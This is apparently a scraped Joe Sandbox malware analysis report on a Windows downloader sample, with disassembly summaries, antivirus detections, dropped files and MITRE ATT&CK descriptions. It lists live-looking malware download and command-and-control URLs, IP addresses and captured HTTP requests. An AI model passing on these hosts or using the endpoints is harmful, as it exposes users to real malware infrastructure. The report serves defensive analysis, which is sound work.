lstrcpy.KERNEL32(?,00000004), ref: 0061271F
??3@YAXPAX@Z.MSVCRT ref: 0061272D
SetEvent.KERNEL32 ref: 0061273C

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: Eventlstrcpy$??2@??3@CreateObjectSingleWaitlstrlen
String ID:
API String ID: 41106472-0
Opcode ID: 033bb5bc089729a6c342191777390dd8429d2f4298f9d39c64f25a78ad29ca7e
Instruction ID: e3b1c58b3940e7abda374c4e77bbbd2e0fdc09e083f16dbacfa785d18bee4ec2
Opcode Fuzzy Hash: 033bb5bc089729a6c342191777390dd8429d2f4298f9d39c64f25a78ad29ca7e
Instruction Fuzzy Hash: AA117C35900111AFCB219F15EC588DA7BABFF8476171C902BF455C7260DB308995DB90

Function 00611B8A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 81stringCOMMON

Download Yara Rule

APIs

srand.MSVCRT ref: 00611BCD
rand.MSVCRT ref: 00611BD8
memset.MSVCRT ref: 00611C43
memcpy.MSVCRT ref: 00611C4F
lstrcat.KERNEL32(?,.exe), ref: 00611C5D

Strings

IBfgxFcHEYIoKBemTULDvZPZVmbgVzBsJQEXterXqmunObcRNonOXRudjiDoJsDUtnUdNCjKKHJlhfQAlMANfHrGwPTYjxyaklkhEOMqFAPvLdrIVcpzYQSwqkpeTCbwSaGtiphuzWvGsMWCRiyaLWxZSyFg, xrefs: 00611B8A, 00611B9C, 00611C15, 00611C49
.exe, xrefs: 00611C57

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: lstrcatmemcpymemsetrandsrand
String ID: .exe$IBfgxFcHEYIoKBemTULDvZPZVmbgVzBsJQEXterXqmunObcRNonOXRudjiDoJsDUtnUdNCjKKHJlhfQAlMANfHrGwPTYjxyaklkhEOMqFAPvLdrIVcpzYQSwqkpeTCbwSaGtiphuzWvGsMWCRiyaLWxZSyFg
API String ID: 122620767-317181783
Opcode ID: a8fc8e844b9c1b2fc0f9613b993873091971a75911fa9791c0df29325a856514
Instruction ID: ecb8549ff3b7afa9f0a006c442787cc1df0b38573a911927a68794d2c5b03a3d
Opcode Fuzzy Hash: a8fc8e844b9c1b2fc0f9613b993873091971a75911fa9791c0df29325a856514
Instruction Fuzzy Hash: 7521A032E481A06ED75513357C41BED3F478FE7711F2E909AF6861F3B2D56809C682A4

Function 00611319 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtSystemDebugControl,-00000094,-00000094,0000000C,0000000C,00000001), ref: 00611334
GetProcAddress.KERNEL32(00000000), ref: 0061133B
memset.MSVCRT ref: 00611359

Strings

NtSystemDebugControl, xrefs: 0061132A
ntdll.dll, xrefs: 0061132F

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: NtSystemDebugControl$ntdll.dll
API String ID: 3137504439-2438149413
Opcode ID: 51e527ade14706774fe669877adbc859691ee54b1697698487eb4aa8e2dbdc1c
Instruction ID: 78a7aec5fdf026b9ac8cb92c97bdedef9be55be53ea7163f3b40c93f0e5bfd36
Opcode Fuzzy Hash: 51e527ade14706774fe669877adbc859691ee54b1697698487eb4aa8e2dbdc1c
Instruction Fuzzy Hash: 6801C47160034DBFDB10DF94EC859EFBBBAFB05304F08452BFA12A6240D7708685CA90

Function 00611DF6 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 00611E0B
lstrcpy.KERNEL32(?,00000001), ref: 00611E1C
strrchr.MSVCRT ref: 00611E2B
lstrcmpiA.KERNEL32(?,00614488), ref: 00611E48
lstrlen.KERNEL32(00614488), ref: 00611E53

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: strrchr$lstrcmpilstrcpylstrlen
String ID:
API String ID: 3636361484-0
Opcode ID: bee0c466b6ea2f0bd31487d03acc8b04de4645deb6edd15fd5af5ef48e315a9c
Instruction ID: 70c8c8ec320e6e42b55024cf691f3d360f9a00e9c5fbcbf0844b3361ca4f8d26
Opcode Fuzzy Hash: bee0c466b6ea2f0bd31487d03acc8b04de4645deb6edd15fd5af5ef48e315a9c
Instruction Fuzzy Hash: FD01FE729042696FEB1057A0EC48BD67BDEDB05311F0C4067DB46D7190EA749AC4CB90

Source: http://ddos.dnsnb8.net:799/cj//k1.rarx	Avira URL Cloud: Label: malware
Source: https://softs-portal.com/api/registerUser.phpg	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rarDownloadManager	Avira URL Cloud: Label: malware
Source: https://softs-portal.com/api/registerUser.php	Avira URL Cloud: Label: malware
Source: http://wfsdragon.ru/api/setStats.php	Avira URL Cloud: Label: phishing
Source: http://wfsdragon.ru:80/api/setStats.php	Avira URL Cloud: Label: phishing
Source: https://softs-portal.com/	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rar0	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar&	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rarras	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rarI	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rarW	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net/	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rare	Avira URL Cloud: Label: malware

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Avira: detection malicious, Label: TR/Dldr.Small.Z.haljq
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files\7-Zip\Uninstall.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Avira: detection malicious, Label: W32/Jadtre.B

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\7-Zip\Uninstall.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Joe Sandbox ML: detected

Source: Joe Sandbox View	IP Address: 212.193.30.21 212.193.30.21
Source: Joe Sandbox View	IP Address: 212.193.30.21 212.193.30.21
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 212.193.30.45 212.193.30.45
Source: Joe Sandbox View	IP Address: 212.193.30.45 212.193.30.45

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: telegram.org
Source: global traffic	HTTP traffic detected: GET /raw/A7dSG1te HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /proxies.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 212.193.30.45
Source: global traffic	HTTP traffic detected: GET /server.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 212.193.30.29
Source: global traffic	HTTP traffic detected: GET /api/setStats.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: wfsdragon.ru
Source: global traffic	HTTP traffic detected: POST /service/communication.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Content-Length: 25Host: 212.193.30.21
Source: global traffic	HTTP traffic detected: POST /service/communication.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Content-Length: 25Host: 212.193.30.21
Source: global traffic	HTTP traffic detected: POST /service/communication.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Content-Length: 25Host: 212.193.30.21
Source: global traffic	HTTP traffic detected: POST /service/communication.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Content-Length: 25Host: 212.193.30.21

Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.29
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.29
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.29
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.29
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.29
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.30.21
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: ddos.dnsnb8.net
Source: global traffic	DNS traffic detected: DNS query: telegram.org
Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: wfsdragon.ru
Source: global traffic	DNS traffic detected: DNS query: softs-portal.com

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files\7-Zip\Uninstall.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_vXQpuA.exe_c0ab9b32b5e72e97aab4b6e052563fe8d013f74a_f464d7f9_f51f480b-55ae-40e3-900a-fc3318971448\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAC2A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAD35.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAD55.tmp.xml

C:\Users\user\AppData\Local\Temp\vXQpuA.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Windows Analysis Report
611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Function 00374044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171
fileprocessCOMMON

Function 003219B0 Relevance: 30.4, APIs: 15, Strings: 1, Instructions: 2351
processlibrarysleepCOMMON

Function 0031B1F0 Relevance: 8.0, APIs: 2, Strings: 2, Instructions: 1031
COMMON

Function 0031ACD0 Relevance: .3, Instructions: 257
COMMON

Function 0031AA00 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 206
COMMON

Function 003548DF Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Function 00351FE9 Relevance: 1.5, APIs: 1, Instructions: 11
COMMONLIBRARYCODE

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre